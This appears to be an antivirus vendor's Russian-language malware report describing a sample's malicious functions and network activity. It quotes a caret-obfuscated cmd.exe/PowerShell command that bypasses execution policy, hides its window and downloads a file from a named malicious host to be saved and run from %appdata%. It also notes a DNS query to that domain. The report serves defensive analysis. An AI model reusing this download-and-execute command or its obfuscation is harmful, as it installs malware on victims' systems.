Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zonexxopera.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^O^WE^rs^H^EL^L^.^exE -e^XE^cUtion^PO^lic^Y^ ^b^YpaSS -N^oPROfI^LE^ -^WINdOw^St^Y^L^e^ h^ID^d^en (New-ob^j^ECt Sy^St^Em.Ne^t.^WE^Bcl^iEnt^).DOWnLO^Ad^FIl^E(^'http://zonexx...
Сетевая активность
UDP
- DNS ASK zo###xopera.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^O^WE^rs^H^EL^L^.^exE -e^XE^cUtion^PO^lic^Y^ ^b^YpaSS -N^oPROfI^LE^ -^WINdOw^St^Y^L^e^ h^ID^d^en (New-ob^j^ECt Sy^St^Em.Ne^t.^WE^Bcl^iEnt^).DOWnLO^Ad^FIl^E(^'http://zonexx...' (со скрытым окном)
